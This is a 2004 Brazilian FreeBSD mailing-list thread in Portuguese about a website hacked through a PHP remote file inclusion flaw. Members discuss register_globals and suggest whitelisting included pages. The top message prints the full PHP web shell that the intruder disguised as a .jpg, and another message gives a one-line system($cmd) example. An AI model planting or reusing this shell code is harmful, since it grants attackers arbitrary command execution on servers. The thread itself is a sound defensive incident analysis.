RES: [FUGSPBR] problema de seguranca!!

Leonardo Larsen Rocha leonardo em nunix.com.br
Qua Jul 14 11:02:24 BRT 2004


O conteúdo de lila.jpg

<font color="#808080"><br></font><font color="#008000"><center><b><font
face="verdana" size="2">CMD</font></b> <font face="verdana" size="2"> -
System CoManD<br><br></font></center></font><font face="Verdana"
size="1"><font color="#008000"><br>
<b>#</b> CMD PHP : <h1>PHP SHELL</h1><br>
<b>#</b></b></font><br>
<br>
<br>
<hr color="#000000" width=80% height=115px>
<br>
<div align="center">
  <table border="1" cellpadding="0" cellspacing="0" width="633" height="17"
bordercolorlight="#000080" bordercolordark="#000080">
    <tr>
      <td width="633" height="17">
<pre><font color="gray" font face="Tahoma" size="2">
<?
  // CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
  if (isset($chdir)) @chdir($chdir);
  ob_start();
   passthru("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
  $output = ob_get_contents();
  ob_end_clean();
  if (!empty($output)) echo str_replace(">", ">", str_replace("<",
"<", $output));
?>
</font></pre>
 </tr>
  </table>
</div>

<br>
<hr color="#000000" width=80% height=115px>
<p align="left">
<br>
<b> <font face="Verdana" size="1" color="#008000">PHP SHELL</font></b> <font
face="Verdana" size="1" color="#008000"><br><b>
#<a href="mailto:PHPSHELL em bol.com.br">Contact
      Us</font></a></b><br><font face="Verdana" size="1"
color="#008000"><b>#
:D </b>
</font>


-----Mensagem original-----
De: fugspbr-fugspbr.org-bounces em fugspbr.org
[mailto:fugspbr-fugspbr.org-bounces em fugspbr.org]Em nome de Marcos
Machado
Enviada em: quarta-feira, 14 de julho de 2004 10:31
Para: fugspbr em fugspbr.org
Assunto: Re: [FUGSPBR] problema de seguranca!!


Martin, acho que nesse caso só remover o register_globals não
resolveria. O que tá sendo feito é o include de um arquivo remoto,
localizado no endereço:

http://teranova.fr/2003/lila.jpg

A variável path é legítima dentro do index.php, só que o include remoto
traz para dentro do index.php o arquilo lila.jpg que, a despeito da
extensão, deve ser um outro script php com um conteúdo semelhante a:

<? system($cmd); ?>

Se você remover o register_globals e o invasor adicionar um
$cmd=$_REQUEST['cmd'] no início do seu (dele) lila.jpg, o system
continuará funcionando.

O que você deve fazer é impedir o include remoto. O mais seguro, do meu
ponto de vista, é relacionar todas as páginas do site que podem ser
incluídas pelo index.php e usar um ninho de IFs para associar um
parâmetro da variável "$path" a um determinado arquivo. Exemplo:

if($path=="2") include('/path/www/cadastro.php');

Espero ter ajudado.

--
[]s, Marcos Machado
Analista de Segurança
InfoSecurity (www.istf.com.br)

Mail: mmachado em istf.com.br
Fone: (21) 8111-2011
ICQ : 188-288



Fernando Costa de Almeida wrote:

 >  Essa eh uma falha classica de programacao em php, e ate foi explicada
 > em uma edicao da Revista Hacker (nao me lembro qual edicao)..
 >
 >  Retirando register_globals resolveria o seu problema, mas de qq modo eh
 > um erro de programacao.
 >
 > _______________________________________
 > ALMEIDA, Fernando Costa de
 > Computeasy Informática
 > www.computeasy.com.br
 > BSD USER BSD050945
 > ICQ 72293951

_______________________________________________________________
Para enviar um novo email para a lista: fugspbr em fugspbr.org
Sair da Lista: http://lists.fugspbr.org/listinfo.cgi
Historico: http://www4.fugspbr.org/lista/html/FUG-BR/

_______________________________________________________________
Para enviar um novo email para a lista: fugspbr em fugspbr.org
Sair da Lista: http://lists.fugspbr.org/listinfo.cgi
Historico: http://www4.fugspbr.org/lista/html/FUG-BR/



Mais detalhes sobre a lista de discussão freebsd